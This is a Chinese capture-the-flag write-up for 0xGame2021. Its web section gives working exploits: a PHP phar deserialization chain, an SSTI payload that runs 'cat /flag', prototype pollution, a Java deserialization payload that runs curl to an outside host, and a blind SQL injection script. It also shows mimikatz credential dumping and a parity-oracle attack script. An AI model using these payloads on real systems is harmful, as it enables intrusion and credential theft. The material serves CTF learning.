0xGame2021 Writeup 2

Web

还没有对象吧，快来new一个php对象

这就是一个简单的pop链，去简单了解一下php反序列化相关知识就可以构造出来

这里使用了phar反序列化也是一个趋势，因为在实际的环境中基本不会有人给你一个反序列化的点

所以phar反序化漏洞攻击就变的尤为重要。

pop链中常用的魔术方式

__toString():当一个对象被当作字符串对待的时候执行该魔术方法

__get():当调用一个不存在的或者是无法访问的属性的时候被调用

__invoke():当一个类以按一个函数的方法被调用时调用该魔术方法

__call() 在一个对象的上下文中，如果调用的方法不存在的时候，它将被触发。

```php
<?php
error_reporting(0);
class Modifier {
    protected  $var;
    public function append($value){
        show_source($value);
    }
    public function __get($key){
        $this->append($this->var);
    }
```

```
}

class Show{
    public $source;
    public $str;
    public function __construct($file='look_me.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        $function = $this->str;
        return $function();
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))
{
            echo "hacker";
            $this->source = "look_me.php";
        }
    }
}

class Test{
    public $p;
    public $q;
    public function __construct(){
        $this->p = array();
    }

    public function __invoke(){
        $this->q->p;
    }
}

if(file_exists($_GET['filename'])){
    echo "emmmmmmm u find it!";     //flag is in flag.php
}
else{
    new Show();
    highlight_file(__FILE__);
}
```

主要就是代码审计了，先明确目标，我们需要进到Modifier类的append方法中通过

show_source去读取flag.php的源码来获取flag

然后看到该类的`__get()`方法中调用了我们需要的方法，所以就想办法去调用`__get()`而当调用一个不存在的或者是无法访问的属性的时候会调用该魔术方法，然后此类中的`$var`是一个被protected修饰的变量，其他类无法直接访问，所以现在就是去找那里可以去访问这个变量，或者调用该类不存在的变量。然后就发现Test类中的__invoke()方法存在$this->q->p;如果我们把q赋值为Modifier类，而Modifier类中不存在p所以就会触发。

`__invoke()`当一个类以按一个函数的方法被调用时调用该魔术方法，注意到show类中有调用函数的操作，把`__tostring()`中的str赋值为Test类就可以触发，然后在show类的wakeup方法中有字符串操作，当一个对象被当作字符串对待的时候执行`__tostring()`所以若$source是一个对象就可以触发，而wakeup方法会在反序列化时自动调用，所以现在我们的链子就连起来了。

```
__wakeup=>__toString=>__invoke=>__get=>append
```

然后就是编写exp，打包成phar

```
<?php
    class Modifier {
        public  $var='php://filter/read=convert.base64-encode/resource=flag.php'
;

    }

    class Show{
        public $source;
        public $str;
        public function __construct($file){
            $this->source = $file;
        }
    }

    class Test{
        public $q;
    }

    $a = new Show('xxxxx');
    $a->str = new Test();
    $a->str->q = new Modifier();
    $b = new Show($a);

    @unlink("test.phar");
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('text.txt','text');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($b);
    $phar->stopBuffering();
?>
```

然后改后缀为jpg上传，利用**/look_me.php?filename=phar:///var/www/html/uplo4d/XXX.jpg**即可触发。

还没有对象吧，快来new一个python对象

其实就是一个简单的ssti，没有过滤的很死，去百度几个简单的绕过方法就可以拿到flag

```
{{%22%22[%27_%27%27_cla%27%27ss_%27%27_%27]
[%27_%27%27_subcla%27%27sses_%27%27_%27]()[189][%27_%27%27_init_%27%27_%27]
[%27_%27%27_globals_%27%27_%27][%27_%27%27_builtins_%27%27_%27]
[%27_%27%27_import_%27%27_%27](%27os%27).popen(%27cat%20/flag%27).read()}}
```

也可以用requests.args等绕过

还没有对象吧，快来new一个js对象

这是用nodejs写的后端，说是nodejs的题，其实主要考察的是脚本编写的能力

这个吊图管理器其实是存了一下图片，然后他存在一个下载接口，但是需要md5的验证码，所以这里需要编写脚本爆破图片名称下载下来

```
import requests
import hashlib
import time

from requests.api import get
# url = "http://127.0.0.1:3000/"
# r = requests.get(url=url)
# print(r.text)
def md5(str):
    m = hashlib.md5()
    m.update(str.encode("utf8"))
    return m.hexdigest()
def decode(a):
    for i in range(0,9999):
        i = str(i).zfill(4)
        x = md5("X1cT34m_"+i)
        if x[4:10] == a:
            return(i)


def getcode():
    url = "http://127.0.0.1:3000/getcode"
    r   = requests.get(url=url)
    str   = r.text[-6:]
    return decode(str)

#print(getcode())
def scan_image():
    for i in range(0,999):
        i = str(i).zfill(3)
        file = i
        url = "http://127.0.0.1:3000/download?file={}&code=
{}".format(file,getcode())
        r = requests.get(url)
        if "data" in r.text:
            print(file)
        time.sleep(0.01)
```

这里下载图片了后可以知道，密码是御坂美琴的生日的base64值，即0502的编码值，登陆后存在一个简单的原型链污染，

```
http://xxxx:3000/admin?
user=admin&passwd=MDUwMg==&a{"__proto__":%20{"girlfriend":%20"fmyy"}}
```

还没有对象吧，快来new一个java对象

这个题考察的就是最简单的java反序列化，题目给了一个jar包，那我们就需要用工具去反编译他去获取源码，简单去了解一下springboot框架的结构，去审计主要源码

```
@Controller
public class IndexController {
  @ResponseBody
  @RequestMapping({"/"})
  public String index(HttpServletRequest request, HttpServletResponse response,
@RequestParam String name) throws Exception {
    Cookie[] cookies = request.getCookies();
    boolean exist = false;
    Cookie cookie = null;
    User user = null;
    User.name = name;
    if (cookies != null)
      for (Cookie c : cookies) {
        if (c.getName().equals("user")) {
          exist = true;
          cookie = c;
          break;
        }
      }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName("admin");
      cookie = new Cookie("user", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    }
    request.setAttribute("user", user);
    return user.getName();
  }
}
```

```
package BOOT-INF.classes.com.hea.demo.tools;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

public class Tools implements Serializable {
  private static final long serialVersionUID = 1L;

  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
```

```
    return decoder.decode(base64);
  }

  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }

  public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
  }

  public static Object deserialize(byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    Object o = objIn.readObject();
    return o;
  }

  public static String whatyouwant(String commandStr) {
    BufferedReader br = null;
    try {
      Process p = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c",
commandStr });
      br = new BufferedReader(new InputStreamReader(p.getInputStream()));
      String line = null;
      StringBuilder sb = new StringBuilder();
      while ((line = br.readLine()) != null)
        sb.append(line + "\n");
      return sb.toString();
    } catch (Exception e) {
      e.printStackTrace();
      return "error";
    }
  }
}
```

可以看到，题目会去反序列化传入的cookie，而在user类中重写了readobject

```
 private void readObject(ObjectInputStream in) throws Exception {
    in.defaultReadObject();
    Tools.whatyouwant(this.wh1speryyds);
  }
}
```

这里会直接去调用Tools下的whatyouwant方法而这个方法中存在可以命令的函数，这就是一个后门函数，那么我们就是要通过反序列化去实例化User类，使他的wh1speryyds参数为我们想要执行的命令，然后注意到这里的这个参数是私有的所以我们需要通过java的反射去赋值，其次这里的命令执行是没有回显，我们就需要通过其他方法去带出我们的执行结果，通过dnslog，ceye，或者直接反弹shell。

那么明确思路了后直接编写exp即可

```
```

```
package com.hea;

import com.hea.demo.tools.Tools;
import com.hea.demo.user.User;
import java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception {
        User user = new User();
        Field readLogField = User.class.getDeclaredField("wh1speryyds");
        readLogField.setAccessible(true);
        readLogField.set(user, "curl http://xxx.xx.xx.xx");
        String s= Tools.base64Encode(Tools.serialize(user));
        System.out.println(s);
    }
}
```

注意包名路径要和原来jar包里的一致。

Gie gie,come to inject me

这其实就是一个简单的布尔盲注，只是没有选定数据库不能查询到database，所以我们可以直接查询所有的数据库即可

```
import requests

url = "http://159.75.116.195:8086/login.php"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        #payload = F"\" or (ascii(substr((select group_concat(schema_name) from
information_schema.schemata),{i},1))>{mid})#"
        #information_schema,mysql,performance_schema,test
        #payload = F"\" or (ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema='test'),{i},1))>{mid})#"
        #0xgame_secret,0xgame_users
        #payload = F"\" or (ascii(substr((select group_concat(column_name) from
information_schema.columns where table_schema='test' and
table_name='0xgame_secret'),{i},1))>{mid})#"
        #Id,secret
        payload = F"\" or (ascii(substr((select secret from test.0xgame_secret
limit 1,1),{i},1))>{mid})#"
        data = {
            "username": payload ,
            "password": "2333"
        }
        r = requests.post(url=url, data=data)
```

```
        if "l0v3" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break

    print(result)
```

Reverse

茶谈室

一个简单的`android`逆向,使用`JEB`打开即可直接看见程序逻辑，使用python编写解密代码。

具体实现就是将输入分段加密，最后与程序中加密后的数据对比，相同则通过，不相同则不通过。

```
import libnum

s= "0xGame{ca5088de10c64b61ac1ef47a9d5f51da}"

def encrypt(v,key):
    v0 = v[0]
    v1 = v[1]
    sum = 0
    detal = 0x9e3779b9
    for i in range(0,32):
        sum += detal
        sum &= 0xffffffff
        v0 += ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1])
        v0 &= 0xffffffff
        v1 += ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3])
        v1 &= 0xffffffff
    arr = []
    arr.append(v0)
    arr.append(v1)
    return arr


def decrypt(v,key):
    v0 = v[0]
    v1 = v[1]
    sum = 0xC6EF3720
    detal = 0x9e3779b9
    for i in range(0,32):
        v1 |= 0x100000000
        v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3])
        v1 &= 0xffffffff
        v0 |= 0x100000000
        v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1])
        v0 &= 0xffffffff
        sum |= 0x100000000
        sum -= detal
        sum &= 0xffffffff
```

```
    print(str(libnum.n2s(v0), encoding="utf-8"),end="")
    print(str(libnum.n2s(v1), encoding="utf-8"),end="")


if __name__ == "__main__":
    # key 初始化
    key = [0x58c7bdf0, 0x413a4854, 0xbf51a817, 0x1f43a5e9]
    # 从程序中 dump 出的数据
    a = [0x4FA7B4BE, 0xDE93990C, 286770520, 0x97EBB430, 0x5919D058, 0x7720C063,
0xA0B696E3, 0x190A01D2, 0x7D130AB9, 898703653]
    for i in range(0, 40, 8):
        decrypt(a[i//4:], key)
    # 加密部分，将字符串s分段用tea加密输出结果
    # for i in range(0,40,8):
    #     v = []
    #     v.append(libnum.s2n(s[i:i+4]))
    #     v.append(libnum.s2n(s[i+4:i+8]))
    #     l = encrypt(v, key)
    #     print(hex(l[0]), hex(l[1]))
```

Thread_TLS

直接查看`main`函数，程序通过对`dword_41B270`变量的判断，来判断输入是否正确。交叉索引一下，即可发现`dword_41B270`在`sub_411F50`函数中会更改他的值，而这个函数就是check函数，通过对比加密后值是否相同来判断输入是否正确。

这路有一个重点就是`sub_411F50`函数是在`main`函数中通过线程调用创建的，并且`main`函数中会等待这个线程执行结束再执行接下来的输出代码，所以不会出现条件竞争的状况，即在`check`函数中，还未检查完结果是否正确，main函数中就已经运行到输出代码了。

这题的关键处是两个`TLS`函数的执行，关键弄懂这两个函数，在何时执行就可以知道整个程序的运行流程。

`void NTAPI TlsCallBackFunction(PVOID Handle, DWORD Reason, PVOID Reserve);`

```
define DLL_PROCESS_ATTACH 1
define DLL_THREAD_ATTACH 2
define DLL_THREAD_DETACH 3
define DLL_PROCESS_ATTACH 0
```

这是给出的`hint`

通过这个我们就可以知道`tls`回调函数关键代码的运行时间，具体是在程序载入时，`main`函数之前先对key进行了一个改表`base64`，然后在`check`函数调用前对输入进行一个`rc4`加密，`rc4`加密中使用的密钥就是`base64`之后的密钥，所以`rc4`加密使用的`key`是需要你先将`0xgame2021`这段字符串编码后才能得来的。

理解了程序流程，可以直接在程序中下断点直接得到异或的对应的值，再异或一遍就是`flag`。

Junkertown

有几处花指令存在，需要`patch`一下程序，然后即可直接看到对应的伪代码，就是一些简单的前后交换和异或与`base64`,编写对应代码解密即可。

Crypto

ezECC

这题看做出来的同学都是按学习链接里头的例题做法，直接枚举k，这里推荐sagemath的ecc一些函数。这里我用的是sagemath的离散对数计算函数，下面这个程序比枚举的程序快很多很多，真秒出。

```
p=14050339
a=1
b=3243167
E = EllipticCurve(GF(p),[a,b])
G=E(7112688,7410262)
K=E(6562993, 2753874)
k=discrete_log(K,G,operation='+')
print(k)
C1=E(3095063,1465594)
C2=E(6437074,4385056)
P=C1-k*C2
x=str(P[0])
y=str(P[1])
table='abcdefghijklmnopqrstuvwxyz'
m1=''
m2=''
for i in range(4):
    m1+=table[int(x[2*i:2*i+2])-1]
    m2+=table[int(y[2*i:2*i+2])-1]
print('0xGame{'+(m1+m2)+'}')
# 4282465
# 0xGame{learnecc}
```

boom

这题看有些同学直接枚举32位的seed，好像跑了几个小时也能跑出来🤧🤧🤧。虽然这题的目的是考察枚举爆破，但是吧，不是这样的爆破。可以看到，我们知道state1的高16位，不知道他的低16位，同时我们还知道state2的高16位，所以我们可以枚举state1的低16位，来获得LCG的所有状态。

```
from Crypto.Util.number import *
import time
start= time.time()
a = 2223895827
b = 2180283007
m = 3462137369
state1 = 14216
state2 = 2162
c =
40587644644343471615806199468091649796977015221829356991190271642984263379626927
1924
for i in range(1 << 16):
```

```
    if (a * ((state1 << 16) + i) + b) % m >> 16 == state2:
        print(i)
        state1 = (state1 << 16) + i


class LCG:
    def __init__(self):
        self.a = a
        self.b = b
        self.m = m
        self.seed = state1

    def next(self):
        self.seed = (self.a * self.seed + self.b) % self.m
        return self.seed >> 16

    def output(self):
        print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
        print("state1 = {}".format(self.next()))
        print("state2 = {}".format(self.next()))


lcg = LCG()
lcg.next()
m = ''.join([chr(i ^ (lcg.next() % 10))
             for i in long_to_bytes(c)])
end=time.time()
print(end-start)
print(m)
```

ParityOracleBase5

RSA的PariyOracle攻击，是在**获得了解密服务**的情况下，你可以 对服务器发送任意密文，服务器会告诉你解密后明文的**最后一位。**

由于多数情况下都是二进制位，因此最后一位二进制位就是0或1。若明文m的密文是c，这个时候我们发送$2^e c$，解密就可以得到$2m$。很显然，由于$2m$是偶数，n是奇数。因此如果服务器返回0，说明$2m$没有超过n，而如果服务器返回1，说明$2m$超过了n，由于$2m$是偶数，n是奇数，因此这里模n使得$2m$减去了一个n.。

在获取$2m$的结果后，我们可以发送$4m$的密文 给服务器。那么我们可以根据这个表来判断m的取值范围：

m范围	第一次返回值	第二次返回值
$4m < n$	0	0
$n < 4m < 2n$	0	1
$2n < 4m < 3n$	1	0
$3n < 4m < 4n$	1	1

因此，我们发现：我们可以通过二分法逼出m的值，如果服务器返回0取前半段，返回1取后半段。

此时，如果我们把二进制扩展到五进制，很显然，我们就从讨论$2m$变成讨论$5m$，也就是$5^k m$模5的值。但这里有一个问题：如果我们已知m位于$[L,R]$中，$b=\frac{R-L}{5}$，那对于返回的可能值$0,1,2,3,4$一定是按顺序对应的吗？显然不是。

如果$5m$在$[0,\frac{n}{5}]$的范围内，那么很显然，服务器会返回0 但如果$5m$在 $[\frac{n}{5},\frac{2n}{5}]$ 中，很显然，真正的明文是$5m-n$。因此，这里的返 回值是 $-n \mod 5$ 的值。因此，1-4对应的区间顺序，与$n \mod 5$的值有关。

$n \mod 5$	$[0,\frac{n}{5}]$	$[\frac{n}{5},\frac{2n}{5}]$	$[\frac{2n}{5},\frac{3n}{5}]$	$[\frac{3n}{5},\frac{4n}{5}]$	$[\frac{4n}{5},n]$
1	0	4	3	2	1
2	0	3	1	4	2
3	0	2	4	1	3
4	0	1	2	3	4

因此，$n\equiv 4 \pmod 5$的情况是很容易被想到的。可以根据这个表进行讨论， 也可以就认定$n\equiv 4 \pmod 5$的情况，多连几次服务器，也可以拿到flag。 这个是高强度的交互，从题目中n的规模来看，一共要交互1750- 2100次，耗时12分钟左右。

有学弟看到了网上base2的题目，发现最后flag会出现误差。但这道题我们不需要考虑误差。因为flag在文本的中间，这边的误差不会影响到flag。并且，这个题目考虑到万一影响到了的情况，flag没有设置成md5的那种格式，而是在最后做了些手脚。因此flag即使出现3位有问题，也基本上都能猜出来是啥。

EXP:

```
from Crypto.Util.number import *
from pwn import *
sh = remote("47.101.38.213", 60713)
sh.recvuntil(b"> ")
sh.sendline(b"1")
n, e, c = [sh.recvline(keepends=False) for _ in range(3)]
n, e, c = int(n[2:]), int(e[2:]), int(c[2:])
print(n)
print(e)
print(c)
L, R, Clk = 0, n, 1
judge = n % 5
Table = [[0, 0, 0, 0, 0], [0, 4, 3, 2, 1], [
    0, 3, 1, 4, 2], [0, 2, 4, 1, 3], [0, 1, 2, 3, 4]]
j0, j1, j2, j3, j4 = Table[judge]
print(f"judge={judge}")
while L < R:
    # for i in range(1):
    D = (R-L)//5
    if Clk % 35 == 0:
        print(Clk)
        print(R-L)
    P20, P40, P60, P80 = L+D, L+2*D, L+3*D, L+4*D
    a = c*(pow(5, e*Clk, n)) % n
    sh.recvuntil(b">")
    sh.sendline(b"3")
    sh.recvuntil(b">")
```

```
    sh.sendline(str(a).encode())
    Rem = sh.recvline(keepends=False)[-1]-48
    if Rem == j0:
        L, R = L, P20
    elif Rem == j1:
        L, R = P20, P40
    elif Rem == j2:
        L, R = P40, P60
    elif Rem == j3:
        L, R = P60, P80
    elif Rem == j4:
        L, R = P80, R
    else:
        print(b"Error")
        break
    Clk += 1
L = long_to_bytes(L)
L = L.split(b"          ")
print(L[1])
sh.close()
```

flag: `0xGame{31b52022-6076-8067-8848-taijinshouji}`

这个题一共有7位新生做出来，tql。

Predict 2

既然上周出了个Predict 1，那就会出个Predict 2。

LFSR，又称线性反馈移位寄存器。它是通过 $y \equiv \sum_{i=1}^{n} a_i x_i \pmod{p}$ 的形式，获得输出y。输出后，将x_0去掉，把y接在x数组的最后，组成新的x数组，长度与原来x数组一致。整个过程中，a数组始终不变。

题目初始有97次获得state的机会，LFSR的长度为45。当你预测到后面600 个state后，就可以获得flag。 根据迭代式，我们可以得到这个规律：

$$x_{45} \equiv \sum_{i=0}^{44} a_i x_i \pmod{p}$$

$$x_{46} \equiv \sum_{i=0}^{44} a_i x_{i+1} \pmod{p}$$

很显然，如果我们把a看作未知数，那么就是要解含有45个未知数的方程。需要构造45个等式。那我们就需要获得90个state。题目的机会是97，因此这个机会是足够的。

而在线性代数中，解线性方程组实际上都可以化为矩阵的运算，因此，我们可以构造下面的矩阵：

$$[a_0, a_1, a_2, \ldots, a_{43}, a_{44}] \begin{bmatrix} x_0 & x_1 & x_2 & \cdots & x_{43} & x_{44} \\ x_1 & x_2 & x_3 & \cdots & x_{44} & x_{45} \\ x_2 & x_3 & x_4 & \cdots & x_{45} & x_{46} \\ \vdots & \vdots & \vdots & \ddots & \vdots & \vdots \\ x_{43} & x_{44} & x_{45} & \cdots & x_{86} & x_{87} \\ x_{44} & x_{45} & x_{46} & \cdots & x_{87} & x_{88} \end{bmatrix} = [x_{45}, x_{46}, x_{47}, \ldots, x_{88}, x_{89}]$$

这个矩阵有形如$\vec{a}M=\vec{b}$的格式。根据题目来看，很显然方程有唯一解。 所以运用线性代数知识，有$\vec{a}=\vec{b}M^{-1}$ 。不过这里的逆矩阵是在模p意义 下的逆矩阵。

求逆矩阵可以用Sagemath，也可以根据线性代数 课上讲过的利用增广矩阵法求解逆矩阵，将 $(M|E)$ 化为$(E|M^{-1})$ ，除法变成乘上对应数字的逆元。具体的做法见题目给出的附件2。

```
#Sagemath
from Crypto.Util.number import *
from sage.all import *
from pwn import *
sh = remote("47.101.38.213", 60710)
states = []
for i in range(90):
    sh.recvuntil(b">")
    sh.sendline(b"1")
    sh.recvuntil(b">")
    sh.sendline(b"1500000000")
    sh.recvuntil(b"is")
    states.append(int(sh.recvline(keepends=False)))
M = []
for i in range(45):
    M.append(states[i:i+45])
v = states[45:90]
M = matrix(Zmod(1435756429), M)
v = vector(Zmod(1435756429), v)
mask = v*(M**(-1))
v, mask = list(v), list(mask)
print(mask)
for i in range(601):
    s = 0
    for j in range(45):
        s += v[j]*mask[j]
    s %= 1435756429
    print(i, s)
    v = v[1:]+[s]
    sh.recvuntil(b">")
    sh.sendline(b"1")
    sh.recvuntil(b">")
    sh.sendline(str(s).encode())
sh.interactive()
```

附件2：求模意义下的逆矩阵代码，用的是增广矩阵法求逆矩阵，时间复杂度$O(n^3)$。

```
from Crypto.Util.number import *


def InvMatrixWithModulus(_matrix, p):
    if (not isPrime(p)) or (len(_matrix) != len(_matrix[0])):
        raise ValueError("matrix must be a square and p must be a prime")
    l = len(_matrix)
    matrix = [[] for _ in range(l)]
    for i in range(l):
        for j in range(l):
            matrix[i].append(_matrix[i][j])
    for i in range(l):
        matrix[i] = matrix[i]+[0 for _ in range(l)]
```

```
            matrix[i][l+i] = 1
        for i in range(l):
            inv = inverse(matrix[i][i], p)
            for j in range(i, 2*l):
                matrix[i][j] = matrix[i][j]*inv % p
            for j in range(i+1, l):
                timz = matrix[j][i]
                for k in range(0, 2*l):
                    matrix[j][k] = (matrix[j][k]-timz*matrix[i][k]) % p
        for i in range(l):
            assert matrix[i][i] == 1
        for i in range(l-1, -1, -1):
            for j in range(i-1, -1, -1):
                timz = matrix[j][i]
                for k in range(i, 2*l):
                    matrix[j][k] = (matrix[j][k]-timz*matrix[i][k]) % p
        J = []
        for i in matrix:
            J.append(i[l:])
        return J
```

`flag:0xGame{87087788-7777-baa5-340d-512844320391}`

Misc

Couple Icon

附件里有`hint.txt`，告诉我们压缩包的密码的长度是32，而且是小写，有关不同长度还分大小写的加密很容易考虑到md5，但是要把什么转换成md5呢？手头就只有`lxx`这串东西。md5加密处理，取小写，`73fe8f327b36932eb9d58b02ca722062`,得到`Pretender.zip`，又有密码，这回咋办呢？查看题目描述，出题人记得她的生日，生日只有可能是数字，考虑爆破，得到`000507`，得到`Pretender.bmp`，bmp图像相关的考点，稍难的会涉及像素相关的处理，简单题一般是加密工具，针对bmp的常见有snow、silent eye、wbstego43open等。此题使用wbstego43open处理，key为`lxx`，解得flag。

`0xGame{si1ence_virgin_l0ve}`

XORQR_CODE

预期解法：观察文本，只由`-`和`,`组成，联系到题目的XOR以及题目描述`Cook`考虑使用`cyberchef`的异或处理，`Operation`选择`XOR Brute Force`，也就是异或爆破模式，遍历异或的key值，最后发现，文本内容与`1c`、`1d`异或可以得到`01`串，将得到的01结果使用网上随处可见的01转换二维码脚本跑一下扫描得到flag。也是为啥flag里的内容提到cyberchef。

`0xGame{cyberchef_and_python_yyds}`

出题人OS：意识到非预期的第一时间我就知道该怎么防了(把文本文档整个文件进行异或，或者把扫码得到的flag再加一层密 key就是异或的key就万无一失了(确信，不过前者处理方法更好 后者就纯粹刁难)

Strobe Memory

写在前面：非常经典的内存取证入门，但是没人做出来，我觉得这题我出得蛮好的。可以说是四周以来自己最满意的一题。

看到有同学在wp写到 volatility配失败了，我只想说为啥不看misc入门资料时候我贴的大佬博客啊()

在这贴上自己配环境时候的点滴吧(其实后来配了好多东西，踩了好多坑学到了好多但是懒得写上去更新了，还挺可惜的)http://ayanagi.fun/atFgXsbYK/

```
python vol.py -f memdump.mem imageinfo
```

得知是win7SP1x64系统，其他操作不想赘述了，就是对镜像一通输指令一通查，经典的常用的指令都来一遍总能得到不少东西。

根据题目描述，要找密码，第一种方法是hashdump获取NT-hash再去ophcrack解密得到，第二种方法是使用volatility的mimikatz插件直接获取

```
python vol.py -f memdump.mem --profile=Win7SP1x64 mimikatz
```

轻松得到了pwd: `ffxiv`

```
python vol.py -f memdump.mem --profile=Win7SP1x64 cmdline
```

查看控制台输入的指令，发现百度云连接，进入发现是U2F开头的AES家族密文的文本，查看题目描述，知道是RC4加密，使用`ffxiv`作为key即可解得一个文本：

```
tupper

1275997399339670931311524520929672037150042688193246018772037086950929055398797662543803518241194333094506052196626697053228790392884060796858947008768539393435464666741676758436322991078855316595132261279458498609687190443328519636700877900252836852791486835661018225416165488160140890186815706653766787525776393051558900476802704127891703153310237084375088908048432974181678093798688698383236583373055517583614480880506690517969546506203492508796190200319694061746003729169708563299703232392880726222454924575307705876 48
```

将`tupper`作为关键词在google搜索的话可以得到一些信息，这个地方我极其推荐大家去搜一下复现一下。最后将这串数字扔进tupper公式的解析站点就能得到flag

`0xGame{SSSS_dgjw}`

Pwn

因pwn出题人要求，pwn第四周wp不公开。